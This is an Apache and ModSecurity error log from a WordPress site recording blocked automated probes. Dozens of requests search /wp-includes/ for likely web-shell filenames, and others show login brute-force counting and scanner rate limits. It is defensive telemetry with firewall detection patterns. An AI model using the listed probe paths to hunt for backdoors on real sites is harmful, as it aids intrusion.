[Wed Mar 04 07:03:48.294810 2026] [:error] [pid 18554:tid 18600] [client 91.217.249.72:54253] [client 91.217.249.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aado1J0fKmKeTIK7QS3JewAAAEg"]
[Wed Mar 04 07:04:02.743002 2026] [:error] [pid 18681:tid 18698] [client 91.217.249.30:45643] [client 91.217.249.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aado4qE_TuZYUBveWkWwfQAAAM8"]
[Wed Mar 04 07:04:08.318143 2026] [:error] [pid 18554:tid 18593] [client 91.217.249.63:37557] [client 91.217.249.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aado6J0fKmKeTIK7QS3JkwAAAEE"]
[Wed Mar 04 07:04:27.737724 2026] [:error] [pid 18554:tid 18613] [client 91.217.249.63:37557] [client 91.217.249.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aado-50fKmKeTIK7QS3JtAAAAFU"]
[Wed Mar 04 07:04:31.915983 2026] [:error] [pid 18554:tid 18599] [client 91.217.249.50:57815] [client 91.217.249.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aado_50fKmKeTIK7QS3JvwAAAEc"]
[Wed Mar 04 07:04:35.098005 2026] [:error] [pid 18554:tid 18594] [client 91.217.249.50:57815] [client 91.217.249.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aadpA50fKmKeTIK7QS3JxQAAAEI"]
[Wed Mar 04 07:04:50.697986 2026] [:error] [pid 54487:tid 54489] [client 91.217.249.49:31043] [client 91.217.249.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aadpEvN8030QMpFXddtN7wAAAQA"]
[Wed Mar 04 07:05:06.401178 2026] [:error] [pid 18554:tid 18596] [client 91.217.249.48:55473] [client 91.217.249.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aadpIp0fKmKeTIK7QS3KHAAAAEQ"]
[Wed Mar 04 07:05:10.981503 2026] [:error] [pid 18555:tid 18636] [client 91.217.249.50:51907] [client 91.217.249.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aadpJjQeUDANiOsQ3Gd_ogAAAJE"]
[Wed Mar 04 07:05:17.125699 2026] [:error] [pid 18681:tid 18702] [client 91.217.249.32:33575] [client 91.217.249.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aadpLaE_TuZYUBveWkWw5AAAANM"]
[Wed Mar 04 07:05:18.756074 2026] [:error] [pid 18681:tid 18698] [client 91.217.249.32:33575] [client 91.217.249.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aadpLqE_TuZYUBveWkWw5QAAAM8"]
[Wed Mar 04 07:05:46.734310 2026] [:error] [pid 18555:tid 18632] [client 91.217.249.48:47441] [client 91.217.249.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aadpSjQeUDANiOsQ3Gd_xgAAAI0"]
[Wed Mar 04 07:05:52.776325 2026] [:error] [pid 18554:tid 18594] [client 91.217.249.40:22533] [client 91.217.249.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aadpUJ0fKmKeTIK7QS3KwwAAAEI"]
[Wed Mar 04 07:05:59.051873 2026] [:error] [pid 18554:tid 18602] [client 91.217.249.40:22533] [client 91.217.249.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aadpV50fKmKeTIK7QS3K0gAAAEo"]
[Wed Mar 04 07:06:01.797116 2026] [:error] [pid 18555:tid 18642] [client 91.217.249.76:45273] [client 91.217.249.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aadpWTQeUDANiOsQ3Gd_zgAAAJc"]
[Wed Mar 04 07:06:06.018962 2026] [:error] [pid 54487:tid 54492] [client 91.217.249.39:41453] [client 91.217.249.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aadpXvN8030QMpFXddtOcAAAAQM"]
[Wed Mar 04 07:06:12.534500 2026] [:error] [pid 18681:tid 18690] [client 91.217.249.66:25007] [client 91.217.249.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aadpZKE_TuZYUBveWkWxRQAAAMc"]
[Wed Mar 04 07:06:13.067794 2026] [:error] [pid 18681:tid 18683] [client 91.217.249.67:52283] [client 91.217.249.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aadpZaE_TuZYUBveWkWxRgAAAMA"]
[Wed Mar 04 07:06:21.600988 2026] [:error] [pid 54487:tid 54495] [client 91.217.249.32:20925] [client 91.217.249.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aadpbfN8030QMpFXddtOkwAAAQY"]
[Wed Mar 04 07:06:24.237279 2026] [:error] [pid 54487:tid 54506] [client 91.217.249.40:39431] [client 91.217.249.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aadpcPN8030QMpFXddtOnAAAARE"]
[Wed Mar 04 07:06:29.736469 2026] [:error] [pid 18555:tid 18640] [client 91.217.249.71:50193] [client 91.217.249.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aadpdTQeUDANiOsQ3Gd_5gAAAJU"]
[Wed Mar 04 07:06:35.506968 2026] [:error] [pid 18555:tid 18638] [client 91.217.249.55:43303] [client 91.217.249.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aadpezQeUDANiOsQ3Gd_6wAAAJM"]
[Wed Mar 04 07:06:39.844071 2026] [:error] [pid 18681:tid 18691] [client 91.217.249.66:51239] [client 91.217.249.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aadpf6E_TuZYUBveWkWxWgAAAMg"]
[Wed Mar 04 07:06:45.989291 2026] [:error] [pid 18681:tid 18705] [client 91.217.249.46:22109] [client 91.217.249.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aadphaE_TuZYUBveWkWxYwAAANY"]
[Wed Mar 04 07:06:58.223168 2026] [:error] [pid 54487:tid 54497] [client 91.217.249.73:34957] [client 91.217.249.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aadpkvN8030QMpFXddtO4gAAAQg"]
[Wed Mar 04 07:06:58.890586 2026] [:error] [pid 18554:tid 18610] [client 91.217.249.48:46853] [client 91.217.249.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "aadpkp0fKmKeTIK7QS3LggAAAFI"]
[Wed Mar 04 07:06:59.531700 2026] [:error] [pid 18554:tid 18600] [client 91.217.249.66:27245] [client 91.217.249.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aadpk50fKmKeTIK7QS3LiAAAAEg"]
[Wed Mar 04 07:07:00.109827 2026] [:error] [pid 54487:tid 54493] [client 91.217.249.44:47837] [client 91.217.249.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aadplPN8030QMpFXddtO6AAAAQQ"]
[Wed Mar 04 07:07:02.836736 2026] [:error] [pid 18555:tid 18622] [client 91.217.249.55:23151] [client 91.217.249.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aadpljQeUDANiOsQ3GeACwAAAIM"]
[Wed Mar 04 07:07:04.485112 2026] [:error] [pid 18555:tid 18634] [client 91.217.249.60:42995] [client 91.217.249.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aadpmDQeUDANiOsQ3GeADgAAAI8"]
[Wed Mar 04 07:07:08.815197 2026] [:error] [pid 18555:tid 18624] [client 91.217.249.53:43663] [client 91.217.249.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aadpnDQeUDANiOsQ3GeAGQAAAIU"]
[Wed Mar 04 07:07:09.512746 2026] [:error] [pid 18554:tid 18616] [client 91.217.249.48:32609] [client 91.217.249.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aadpnZ0fKmKeTIK7QS3L0gAAAFg"]
[Wed Mar 04 07:07:11.281514 2026] [:error] [pid 18555:tid 18634] [client 91.217.249.70:48189] [client 91.217.249.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aadpnzQeUDANiOsQ3GeAHgAAAI8"]
[Wed Mar 04 07:07:11.826618 2026] [:error] [pid 18554:tid 18605] [client 91.217.249.65:25251] [client 91.217.249.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "aadpn50fKmKeTIK7QS3L3wAAAE0"]
[Wed Mar 04 07:07:14.509641 2026] [:error] [pid 18555:tid 18635] [client 91.217.249.71:38741] [client 91.217.249.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aadpojQeUDANiOsQ3GeAIQAAAJA"]
[Wed Mar 04 07:07:18.717956 2026] [:error] [pid 18681:tid 18683] [client 91.217.249.27:48105] [client 91.217.249.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "aadppqE_TuZYUBveWkWxlgAAAMA"]
[Wed Mar 04 07:07:25.921178 2026] [:error] [pid 54487:tid 54512] [client 91.217.249.49:27057] [client 91.217.249.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aadprfN8030QMpFXddtO_wAAARc"]
[Wed Mar 04 07:07:38.958785 2026] [:error] [pid 54487:tid 54511] [client 91.217.249.49:29743] [client 91.217.249.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "aadpuvN8030QMpFXddtPLAAAARY"]
[Wed Mar 04 07:07:44.704583 2026] [:error] [pid 54487:tid 54502] [client 91.217.249.38:50099] [client 91.217.249.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aadpwPN8030QMpFXddtPPQAAAQ0"]
[Wed Mar 04 07:07:45.340403 2026] [:error] [pid 18553:tid 18571] [client 91.217.249.58:22757] [client 91.217.249.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aadpwWbax1neh8d0AHaYbQAAAAc"]
[Wed Mar 04 07:07:53.019903 2026] [:error] [pid 54487:tid 54499] [client 91.217.249.36:55185] [client 91.217.249.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aadpyfN8030QMpFXddtPXgAAAQo"]
[Wed Mar 04 07:07:59.231951 2026] [proxy_fcgi:error] [pid 18554:tid 18592] [client 91.217.249.71:34417] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 07:07:59.545562 2026] [proxy_fcgi:error] [pid 18554:tid 18606] [client 91.217.249.71:34417] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 07:07:59.865224 2026] [proxy_fcgi:error] [pid 18554:tid 18604] [client 91.217.249.71:34417] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 07:08:05.464626 2026] [:error] [pid 18554:tid 18603] [client 91.217.249.71:34417] [client 91.217.249.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aadp1Z0fKmKeTIK7QS3MXQAAAEs"]
[Wed Mar 04 07:08:06.107104 2026] [:error] [pid 18681:tid 18688] [client 91.217.249.70:49683] [client 91.217.249.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aadp1qE_TuZYUBveWkWx3gAAAMU"]
[Wed Mar 04 07:08:06.751523 2026] [:error] [pid 18554:tid 18614] [client 91.217.249.36:39509] [client 91.217.249.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aadp1p0fKmKeTIK7QS3MYgAAAFY"]
[Wed Mar 04 07:08:07.303322 2026] [:error] [pid 18554:tid 18606] [client 91.217.249.37:50581] [client 91.217.249.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aadp150fKmKeTIK7QS3MZQAAAE4"]
[Wed Mar 04 07:11:36.926887 2026] [:error] [pid 18554:tid 18601] [client 43.157.98.187:56330] [client 43.157.98.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aadqqJ0fKmKeTIK7QS3PPwAAAEk"]
[Wed Mar 04 09:07:18.290967 2026] [:error] [pid 18553:tid 18568] [client 49.234.192.248:49380] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaeFxmbax1neh8d0AHasYAAAAAQ"]
[Wed Mar 04 09:38:44.941566 2026] [autoindex:error] [pid 18554:tid 18597] [client 52.252.56.196:43760] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 04 09:38:58.302371 2026] [:error] [pid 54487:tid 54499] [client 51.75.116.205:60164] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaeNMvN8030QMpFXddvD4wAAAQo"]
[Wed Mar 04 09:38:58.618325 2026] [:error] [pid 18554:tid 18594] [client 52.252.56.196:43760] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaeNMp0fKmKeTIK7QS0xdgAAAEI"]
[Wed Mar 04 09:38:59.416361 2026] [:error] [pid 18554:tid 18601] [client 52.252.56.196:12962] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaeNM50fKmKeTIK7QS0xdwAAAEk"]
[Wed Mar 04 09:39:00.183706 2026] [:error] [pid 18554:tid 18613] [client 51.75.116.205:42702] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaeNNJ0fKmKeTIK7QS0xewAAAFU"]
